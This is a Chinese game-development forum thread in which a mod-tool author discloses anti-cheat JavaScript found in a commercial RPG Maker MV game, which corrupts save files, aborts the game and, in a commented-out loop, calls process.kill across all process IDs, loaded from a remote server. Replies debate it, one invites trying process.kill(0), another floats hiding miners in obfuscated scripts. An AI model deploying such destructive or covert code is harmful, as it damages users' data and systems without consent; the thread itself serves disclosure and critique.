查看: 20832|回复: 108

[交流讨论] 讨论,做暗桩 发现作弊时 杀掉电脑上的全部进程合理吗?

[复制链接]
梦石
0
星屑
3486
在线时间
294 小时
注册时间
2020-1-27
回帖
180
发表于 2020-7-11 00:25:26 | 显示全部楼层 |阅读模式

加入我们,或者,欢迎回来。

您需要 登录 才可以下载或查看,没有账号?注册会员

×
本帖最后由 zths 于 2020-7-11 00:50 编辑

我有制作一个MV 修改 + 翻译 工具,今天有用户发给我一个游戏样本。。
用户反馈用了修改器后没法存档。。。
我在调试过程中找到了如下代码:

[pre lang="javascript"]
setInterval(function() {
    const againstCheating = function() {
        // Graphics._applyCanvasFilter();
        // SceneManager.stop();
        try {
            StorageManager.save = StorageManager.saveBk || StorageManager.save;
            StorageManager.save(-1, JSON.stringify({"你好": "请勿破解!"}));
            StorageManager.save(0, "{}");
            StorageManager.save(1, "{}");
            setTimeout(function() {
                // for (var i = 0; i <= 65535; i += 2) {
                    // if ([process.pid, process.ppid].includes(i)) {
                        // continue;
                    // }
                    // try {
                        // process.kill(i);
                    // } catch (e) {
                        // continue;
                    // }
                // }
                process.abort();
            }, 20000 + Math.random() * 20000);
        } catch (e) {
            process.kill(process.ppid);
        }
    };
    if (window.close.toString() === "function (){}" || document.querySelector('#HackStageWrap')) {
        againstCheating();
    }
    if (document.querySelector('#HackStage')) {
        againstCheating();
    }
    if (document.querySelector('#CommonEventTab')) {
        againstCheating();
    }
    if (document.querySelector('#TabContext')) {
        againstCheating();
    }
    if ([typeof HackToast, typeof CheckeISNodeJS, typeof  initSysTab, typeof initItemTab, typeof initWeaponTab,
        typeof openSetIntervalCodeWin, typeof initkeySettingTab, typeof offHackStage, typeof StorageManager.saveBk].includes('function')) {
        againstCheating();
    }
}, 3000)[/pre]

被注释的部分实际功效是杀死电脑里的所有进程....
被发现时代码就是被注释的状态..
我猜可能是有用户被搞了才注释掉的...(只是我猜)
代码是在线上服务器动态加载的....
作者有权力随时修改并应用到客户端.

整段代码仅是针对了我的修改工具.. ( 我的工具就只有 修改 和 翻译 功能, 不提供游戏解包..  而且我自行解包后发现,他的有素材基本都是未授权的网络图片... 很多色图...)
现在代码段已经被作者用 nwjc 加密.
我没心思去分析他后来又进行了什么改动..

游戏是: 魔王契约2.3

说真的 游戏里除了 礼包 就是 抽卡 ???(应该要充值 我没仔细看)
看起来就是手游的套路。。
玩的啥?
为啥就不能好好做游戏??
示例:
A活动界面-1.png
A活动界面-3新春活动界面-无.png
A商城召唤界面.png
A商店界面.png

评分

参与人数 1赞 +1 收起 理由
白嫩白嫩的 + 1 犹如盗版ps使用者枪杀盗图淘宝店主.

查看全部评分

梦石
1
星屑
24088
在线时间
3339 小时
注册时间
2011-7-8
回帖
3862

开拓者

发表于 2020-7-11 00:34:54 | 显示全部楼层
话说windows下没有足够权限也可以kill别的进程么?如果是浏览器上访问的应该做不到吧?
熟悉rgss和ruby,xp区版主~
正在填坑:《膜拜组传奇》讲述膜拜组和学霸们的故事。
已上steam:与TXBD合作的Reformers《变革者》
* 战斗调用公共事件 *
* RGSOS 网络脚本 *
回复

使用道具 举报

梦石
0
星屑
3486
在线时间
294 小时
注册时间
2020-1-27
回帖
180
 楼主| 发表于 2020-7-11 00:37:29 | 显示全部楼层
本帖最后由 zths 于 2020-7-11 00:53 编辑
guoxiaomi 发表于 2020-7-11 00:34
话说windows下没有足够权限也可以kill别的进程么?如果是浏览器上访问的应该做不到吧? ...


是 nwjs 的
就是当前操作用户的权限。。
MV 的 Game.exe 的这种都有这样的权限。。
没开 UAC 的话更过分。。 就是管理员权限。。


所谓的代码动态加载 就是从服务器上请求然后拿下来执行。。。。。。。
简直生艹。


这是那个加载的部分(不在 index.html 是动态添加到 body 的):
[pre lang="html"]<script type="text/javascript" src="http://111.229.36.91:8124/advanced/pc/mowangqieyue/js/plugins/9zhuangtanmeihuachajian.js?_202061021"></script>
<script type="text/javascript" src="http://111.229.36.91:8124/advanced/pc/mowangqieyue/js/plugins/AltSaveScreen.js?_202061021"></script>
<script type="text/javascript" src="http://111.229.36.91:8124/advanced/pc/mowangqieyue/js/plugins/AltMenuScreen3.js?_202061021"></script>
<script type="text/javascript" src="http://111.229.36.91:8124/advanced/pc/mowangqieyue/js/plugins/Foreground.js?_202061021"></script>
<script type="text/javascript" src="http://111.229.36.91:8124/advanced/pc/mowangqieyue/js/plugins/Live2D.js?_202061021"></script>
<script type="text/javascript" src="http://111.229.36.91:8124/advanced/pc/mowangqieyue/js/plugins/9XianShiMinZi.js?_202061021"></script>
<script type="text/javascript" src="http://111.229.36.91:8124/advanced/pc/mowangqieyue/js/plugins/9MeiHuaBiaoTi-1.js?_202061021"></script>
<script type="text/javascript" src="http://111.229.36.91:8124/advanced/pc/mowangqieyue/js/plugins/9MeiHuaBiaoTi-2.js?_202061021"></script>
<script type="text/javascript" src="http://111.229.36.91:8124/advanced/pc/mowangqieyue/js/plugins/9MeiHuaBiaoTi-3.js?_202061021"></script>
<script type="text/javascript" src="http://111.229.36.91:8124/advanced/pc/mowangqieyue/js/plugins/9YEP_LianTuZhanDou.js?_202061021"></script>
<script type="text/javascript" src="http://111.229.36.91:8124/advanced/pc/mowangqieyue/js/plugins/YEP_EquipCore.js?_202061021"></script>
<script type="text/javascript" src="http://111.229.36.91:8124/advanced/pc/mowangqieyue/js/plugins/TDDP_MouseSystemEx.js?_202061021"></script>
<script type="text/javascript" src="http://111.229.36.91:8124/advanced/pc/mowangqieyue/js/plugins/9zidongchajian.js?_202061021"></script>
<script type="text/javascript" src="http://111.229.36.91:8124/advanced/pc/mowangqieyue/js/plugins/YEP_PartySystem.js?_202061021"></script>
<script type="text/javascript" src="http://111.229.36.91:8124/advanced/pc/mowangqieyue/js/plugins/YEP_ShopMenuCore.js?_202061021"></script>
<script type="text/javascript" src="http://111.229.36.91:8124/advanced/pc/mowangqieyue/js/plugins/YEP_ItemCore.js?_202061021"></script>
<script type="text/javascript" src="http://111.229.36.91:8124/advanced/pc/mowangqieyue/js/plugins/CunDang.js?_202061021"></script>
<script type="text/javascript" src="http://111.229.36.91:8124/advanced/pc/mowangqieyue/js/plugins/Mehmet_CodePaySimply.js?_202061021"></script>
<script type="text/javascript" src="http://111.229.36.91:8124/advanced/pc/mowangqieyue/js/plugins/Mehmet_EventItemHelpWindow.js?_202061021"></script>
<script type="text/javascript" src="http://111.229.36.91:8124/advanced/pc/mowangqieyue/js/plugins/Candee.js?_202061021"></script>
<script type="text/javascript" src="http://111.229.36.91:8124/advanced/pc/mowangqieyue/js/plugins/Community_Basic.js?_202061021"></script>
<script type="text/javascript" src="http://111.229.36.91:8124/advanced/pc/mowangqieyue/js/plugins/Grover_MapButtonSprite.js?_202061021"></script>
<script type="text/javascript" src="http://111.229.36.91:8124/advanced/pc/mowangqieyue/js/plugins/Grover_MemoryCheck.js?_202061021"></script>
<script type="text/javascript" src="http://111.229.36.91:8124/advanced/pc/mowangqieyue/js/plugins/Grover_Lifebar.js?_202061021"></script>
<script type="text/javascript" src="http://111.229.36.91:8124/advanced/pc/mowangqieyue/js/plugins/Grover_showAnimationOnPicture.js?_202061021"></script>
<script type="text/javascript" src="http://111.229.36.91:8124/advanced/pc/mowangqieyue/js/plugins/Grover_showVariablesOnMap.js?_202061021"></script>
<script type="text/javascript" src="http://111.229.36.91:8124/advanced/pc/mowangqieyue/js/plugins/NameInputMobile.js?_202061021"></script>
<script type="text/javascript" src="http://111.229.36.91:8124/advanced/pc/mowangqieyue/js/plugins/YEP_CoreEngine.js?_202061021"></script>
<script type="text/javascript" src="http://111.229.36.91:8124/advanced/pc/mowangqieyue/js/plugins/Grover_playerRating.js?_202061021"></script>
<script type="text/javascript" src="http://111.229.36.91:8124/advanced/pc/mowangqieyue/js/plugins/Live2D/Patches/GLBitmap.js?_202061021"></script>
<script type="text/javascript" src="http://111.229.36.91:8124/advanced/pc/mowangqieyue/js/plugins/Live2D/Libs/live2d.min.js?_202061021"></script>
<script type="text/javascript" src="http://111.229.36.91:8124/advanced/pc/mowangqieyue/js/plugins/Live2D/Framework/Live2DFramework.js?_202061021"></script>
<script type="text/javascript" src="http://111.229.36.91:8124/advanced/pc/mowangqieyue/js/plugins/Live2D/Framework/utils/MatrixStack.js?_202061021"></script>
<script type="text/javascript" src="http://111.229.36.91:8124/advanced/pc/mowangqieyue/js/plugins/Live2D/Framework/utils/ModelSettingJson.js?_202061021"></script>
<script type="text/javascript" src="http://111.229.36.91:8124/advanced/pc/mowangqieyue/js/plugins/Live2D/Framework/PlatformManager.js?_202061021"></script>
<script type="text/javascript" src="http://111.229.36.91:8124/advanced/pc/mowangqieyue/js/plugins/Live2D/Framework/LAppDefine.js?_202061021"></script>
<script type="text/javascript" src="http://111.229.36.91:8124/advanced/pc/mowangqieyue/js/plugins/Live2D/Framework/LAppModel.js?_202061021"></script>
<script type="text/javascript" src="http://111.229.36.91:8124/advanced/pc/mowangqieyue/js/plugins/Live2D/Sprite_Live2D.js?_202061021"></script>
<script type="text/javascript" src="http://111.229.36.91:8124/advanced/pc/mowangqieyue/js/plugins/Live2D/Scene_L2DTest.js?_202061021"></script>
<script type="text/javascript" src="http://111.229.36.91:8124/advanced/pc/mowangqieyue/js/plugins/Live2D/Sprite_Live2D_Layer.js?_202061021"></script>
<script type="text/javascript" src="http://111.229.36.91:8124/advanced/pc/mowangqieyue/js/plugins/Live2D/Patches/Game_Screen.js?_202061021"></script>[/pre]

点评

突出一个引狼入室啊……  发表于 2020-7-11 03:06
实际上整个游戏就可以作为一个全功能远控木马来用。。  发表于 2020-7-11 00:51
回复

使用道具 举报

梦石
0
星屑
4584
在线时间
369 小时
注册时间
2020-1-29
回帖
211
发表于 2020-7-11 03:17:05 | 显示全部楼层
【新做】魔王契约
https://rpg.blue/forum.php?mod=v ... amp;fromuid=2706029
(出处: Project1)
回复

使用道具 举报

梦石
0
星屑
1788
在线时间
1313 小时
注册时间
2012-8-4
回帖
724
发表于 2020-7-11 04:11:59 | 显示全部楼层
本帖最后由 夜狠简单 于 2020-7-13 18:38 编辑

不合理,远离国产天坑游戏,建议卸载!另外大佬做的mv实时翻译/修改器确实比国外大佬的都还好用

顺便纠正主楼一点

被注释的部分实际功效是杀死电脑里的所有进程....

实际效果是
被注释的部分实际功效是让当前游戏崩溃....
[pre lang="javascript"]
// for (var i = 0; i <= 65535; i += 2) {
        // if ([process.pid, process.ppid].includes(i)) {
                // continue;
        // }
        // try {
                // process.kill(i); 实际效果里在这一步kill i = 0 的时候游戏就崩溃了,并不执行剩下的i > 0 的东西
        // } catch (e) {
                // continue;
        // }
// }
[/pre]

所以合理讨论,感兴趣且胆大的完全可以在自己mv游戏控制台里尝试运行
process.kill(0);
回复

使用道具 举报

梦石
1
星屑
23246
在线时间
9564 小时
注册时间
2012-6-19
回帖
7018

开拓者短篇九导演组冠军

发表于 2020-7-11 09:59:21 | 显示全部楼层
歪楼说一下我的看到这贴想到的一些想法:

论坛里此前讨论如何反作弊如何反解包时,回复都是“你的游戏没有作弊/解包的价值”
现在一个玩家会作弊的游戏出现了,并且还有配套的傻瓜反作弊工具,那么,如何反作弊,
毕竟,游戏再垃圾都不能成为作弊的借口
发现玩家作弊搞破坏也不是新冒出来的东西了,早几年MV还没出时我就在论坛看过有类似发现玩家解包就删玩家C盘文件的了,像这种杀进程的比起来反而温和了

额外的,从理论上来说
在论坛发个游戏被盗版网站拿走了,他们也可以手动添加这样一些私货给你后台下载点东西安装点东西
在论坛发脚本的作者也可以在脚本中捆绑些这样的私货,影响范围更大,所有用这脚本的游戏都会成为私货的传播者,比如 document.write(<script>挖矿</script>) 之类的,套一个代码混淆根本看不出来
回复

使用道具 举报

梦石
0
星屑
762
在线时间
180 小时
注册时间
2015-10-26
回帖
27

开拓者

发表于 2020-7-11 10:03:16 | 显示全部楼层
吃瓜,好像有点意思
回复

使用道具 举报

梦石
0
星屑
3486
在线时间
294 小时
注册时间
2020-1-27
回帖
180
 楼主| 发表于 2020-7-11 10:13:43 | 显示全部楼层
喵呜喵5 发表于 2020-7-11 09:59
歪楼说一下我的看到这贴想到的一些想法:

论坛里此前讨论如何反作弊如何反解包时,回复都是“你的游戏没有 ...

你不能保证你得反作弊代码不会出 bug
你也不能为出 bug 的人负责
而且说到底有这种行为的程序就是恶意程序 是属于病毒应该被杀掉的。

而不是 你不应该作弊 作弊活该倒霉。

点评

我感觉这为什么仅针对你的修改工具,是因为你的修改工具面世强大到让太多作者感到无解了  发表于 2020-7-11 10:33
回复 0 1

使用道具 举报

梦石
2
星屑
5065
在线时间
706 小时
注册时间
2018-12-11
回帖
213

MZ评测员

发表于 2020-7-11 11:28:43 | 显示全部楼层
做这种氪金内购游戏没有问题,在里面各种插破解检测脚本也正常,但你搞这么多侵权素材,尤其是这些未授权的二次元角色原画,放在自己的游戏里盈利,你知道一个举报到画师那里去会发生什么吗?

点评

所以为什么不直接做黄油呢?  发表于 2020-7-11 13:39
检测破解正常,破坏电脑不行。 就是自动删游戏都能理解,但不能破坏电脑…  发表于 2020-7-11 13:36

评分

参与人数 1赞 +1 收起 理由
白嫩白嫩的 + 1 我很赞同

查看全部评分

回复

使用道具 举报

梦石
0
星屑
569
在线时间
47 小时
注册时间
2018-10-20
回帖
5
发表于 2020-7-11 12:00:22 | 显示全部楼层
这个制作人的游戏系列基本都是坑钱抽卡流,质量不敢恭维
但是每一作卖的都挺不错的,说明确实有很多用户喜欢这个套路
(别惊讶,网友平均素质远低于你的想象,他们也不会在乎什么侵权不侵权)

但是,虽然他的游戏不敢恭维,但我依旧觉得能有反拆包反作弊的意识是很好的
也希望更多游戏加入这种功能,甚至希望惩罚更加严重……
甚至我的一些汉化/自制游戏也加了类似的功能……

毕竟,人是一种懒惰的动物,尤其是在这种小黄油方面
你作弊看了回想,就不会去静下心体验剧情,就不会去欣赏其他内容
你开挂一刀9999把剧情杀的BOSS打死了,卡住剧情还要去骂制作组
甚至你游戏发出去,不到半小时就被无心那群玩意破解,换个封面拿去掐烂钱

不是暗桩惩罚措施合理,而是……大部分人的素质,不敢恭维
只有暗桩才能对游戏起到一定程度的保护

点评

每一作都卖的不错?问题好相处在另一个方面了 好多图都不知道从哪搞来的 还有P站上的  发表于 2020-7-11 13:38
那病毒生产者+1 我就是来确认下国内是不是就这风气…  发表于 2020-7-11 13:35
大概是本论坛最菜选手
回复 0 1

使用道具 举报

您需要登录后才可以回帖 登录 | 注册会员

本版积分规则

Powered by Discuz! X5.0 © 2001-2026 Discuz! Team.

在本版发帖返回顶部